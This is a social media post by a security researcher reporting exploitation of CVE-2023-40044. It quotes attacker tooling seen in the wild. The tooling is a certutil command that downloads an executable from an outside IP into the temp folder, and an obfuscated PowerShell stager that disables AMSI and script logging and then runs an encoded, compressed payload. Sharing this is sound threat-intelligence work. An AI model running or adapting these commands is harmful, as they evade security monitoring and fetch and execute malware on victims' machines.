Settings

← Post

John Hammond
@_JohnHammond

Small stuff but we are also seeing exploitation of CVE-2023-40044. PowerShell & certutil stagers

certutil -urlcache -f http[:]//103[.]163.187.12:8080/cz3eKnhcaD0Fik7Eexo66A C:\WINDOWS\TEMP\zpvmRqTOsP.exe

All downloads in %TEMP% same length filename exe

reddit.com/r/msp/comments...

```
.:\\Windows\\SysWOW64\\cmd.exe /c powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'
    \\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;
    $s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c $x_wa3=((''Sc''+''{2}i''+''pt{1}loc{0}Logg''+''in''+''g'')-f''k'',''B'',''r''
    );If($PSVersionTable.PSVersion.Major -ge 3){ $sw=((''E''+''nable{3}''+''c{''+''1}''+''ip{0}Bloc{2}Logging''+'''')-f''t'',''r'',''k
    '',''S''); $p8=[Collections.Generic.Dictionary[string,System.Object]]::new(); $gG0=((''Ena''+''ble{2}c{5}i{3}t{''+''4}loc''+''
    {0}{1}''+''nv''+''o''+''cationLoggi''+''ng'')-f''k'',''I'',''S'',''p'',''B'',''r''); $jXZ4D=[Ref].Assembly.GetType(((''{0}y''+''s
    ''+''tem.{1}a''+''n''+''a{4}ement.A{5}t''+''omati''+''on.{2''+''}ti{3}s'')-f''S'',''M'',''U'',''1'',''g'',''u''));
    $plhF=[Ref].Assembly.GetType((((''{''+''6}{''+''5}stem.''+''{''+''3''+''}{9}''+''n{9}{''+''2}ement''+''.{''+''8}{''+''4}t{''+''7''+
    ''}''+''m{9}ti{7}n''+''.''+''{8''+''}''+''m''+''si{0''+''}ti{''+''1}s'')-f''U'',''1'',''g'',''M'',''u'',''y'',''S'',''o'',''A'',''
    a'')); if ($plhF) { $plhF.GetField((''''+''a{''+''0}''+''si{4}''+''nit{''+''1}''+''ai''+''1{2}{''+''3}'')-f''m'',''F'',''e'',''d
    '',''I''),''NonPublic,Static'').SetValue($null,$true); }; $1Cj=$jXZ4D.GetField(''cachedGroupPolicySettings'',''NonPublic,Static''
    ); If ($1Cj) { $a938=$1Cj.GetValue($null); If($a938[$x_wa3]){ $a938[$x_wa3][$sw]=0; $a938[$x_wa3][$gG0]=0; } $p8.Add($gG0,0);
    $p8.Add($sw,0); $a938[''HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\''+$x_wa3]=$p8; } Else { [
    Ref].Assembly.GetType((((''S{2}{3}''+''t''+''em''+''.Mana''+''ge''+''ment.{''+''5}{4}to''+''mation.Scr''+''ipt{1}loc{0}'')-f''k'',
    ''B'',''y'',''s'',''u'',''A'')).GetField(''signatures'',''NonPublic,Static'').SetValue($null,(New-Object
    Collections.Generic.HashSet[string])); }};&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object
    System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((((''H4sIABO''+''
    6GmUCA+1XbU/jOBD+vt{0}+B2sVKYkUqhbYFSAhXUihlKWl0N{0}e0q1WJpm2Xhy7OA7bsrv//cZ5oeV4Oe4kpPtAJKuJPTMeP/
    PYFjpORaiZFIR97JCf79+R4ulQRWPiWOFAbs09YrGZuxy0Jlu8TXaJM/Rns7qMKROjnZ0gVQq{1}zr8rDdB+kkB8yRkkjkt+kc{1}UFKydXH6HUJOfxPpWaXB5SXlhtgho
OAWy5ovIjB3{0}kJr{1}Kt0ZZ9qxv3613eFabVTZv04pTxy7u0g0xJWIc9slv10zYW8xA8dusVDJRI5''+''
    1ZcD{1}xnrlXCR0DG2MdgMt0FMZJTYuZrkcBTpVIl+VCZMbOTa+dpQM/ShSkCS2R4ZmguFo9Icz{0}GY/
    S4VmMVSaQoOSsy6oGxZCUjmkIuJwBuMRenW1YmIycl00u5FX4Fgi5dwj/yaM0''+''4YfJXYvdXJWndCqo5XrYU''+''
    0fWWd{0}RimH3NN+JNGcBy4+ORcQv98GwnFJn5jWvtUfIdCyo3yG2QhgzkSHJizz3iVVj7RwdqqlWuCn1VMpuKM7xIkVb/qfvZdGq5Wu6HjTS{0}Fn''+''
    2JcsGi397xHAGl83+h+N1dN8rsOYCagvBI1ZWF{0}WeawsMOaQgV''+''IpzdqYoWMXAxDVgcO{1}agO0YccDt/
    2Y6TvfvZTxCJQfYmkTzAqr7t5PJq+dYzdFC2K{1}{0}/9Gulpj3ChQWhebY1HObr7RyA44TRKPdF{0}cqaFHukA5RB7xRcKKIT/
    VMnu1l+m2Uq5ZSBNdhhu5f8ezmDeQIt{1}qDbGyi{1}GvO4OQUW4g8cghi2Bv0WWTcn77UUACyjnuIIx0gwXBHgN{1}Vxu+K{1}w144Zb6YJuxjMOMdpkR8cBpxM8''+''
    KIp9khGMTiCyn8q03A85+Q02JSgreW{0}Bu1xqj/SZ0ngSGZyRYv8pi4dHUJSOoKAokFNutOHeQpuNYInj0/UrQ9UCpgwUpRGQAyXjPZrAp83BwH{1}+NAN/
    8tbe2lt7a//71mjzUJzVogZPmkGtFsbz718GbXnR9fUF25PR4dmP{1}7Z10+r5t8ff99db1835ST1MW73mpSO6v9kKtnvR7fRzOz697fG{0}WiSOAto/qw8Oj0R7f1s0g/
    75''+''2Xnt9Kg/bwz2+xeDwWwW7s/5cdzfxDni5mG7+uXPo2oz2A6etT3d3f2Ap/{0}wnAm9sT4yl+yG{1}TDv31k83N5aOZqf{1''+''}mgtqpIp5Xhko/
    Iq788DqQ4KMdWRzHg4jtHkV''+''6A{1}cJSxKHT{0}O8fnXIZ''+''
    GyuWqC3Vkru6M2DxvZmk99uaSO0N3qfHKrp2dC8wS77Hshqkcg5joqVedb1SrKM6q8+pmdmO9fHGBnC2cPJpn9F0Gz118nsXHkGxMHOfVIUMhr1FNPAPaU/
    jh3Fd4+aMcyS9kg+KelHwVw2Jpd5y4ByFiV8P1D4''+''2Mz9iCIdbgm1jaaNxVzWyllyeXr0qgQllM8Sf6Rw''+''
    It+54ZfRGpql6O0IPu+x0rwuz1IBhQptGwiwqJQy7dn0Ci2DUrZTb1wS0x{0}h7zr/Yk1''+''Wtt/JeU6bS/''+''A{0}l''+''BlnZODwAA'')-f''L'',''E''
    )))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$
    true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"]
```

8:22 PM · Oct 2, 2023 · **78.6K** Views

144 Reposts **2** Quotes **530** Likes **94** Bookmarks

94

New to X?

Sign up now to get your own personalized timeline!

Sign up with Google

Sign up with Apple

Create account

By signing up, you agree to the Terms of Service and Privacy Policy, including Cookie Use.

Something went wrong. Try reloading.

Retry

Terms of Service Privacy Policy Cookie Policy
Accessibility Ads info More ··· © 2024 X Corp.

Don't miss what's happening
People on X are the first to know.

Log in Sign up

Welcome to x.com!

We are letting you know that we are changing our URL, but your privacy and data protection settings remain the same.
For more details, see our Privacy Policy: https://x.com/en/privacy

Did someone say ... cookies?

X and its partners use cookies to provide you with a better, safer and faster service and to support our business. Some cookies are necessary to use our services, improve our services, and make sure they work properly. Show more about your choices.

Accept all cookies

Refuse non-essential cookies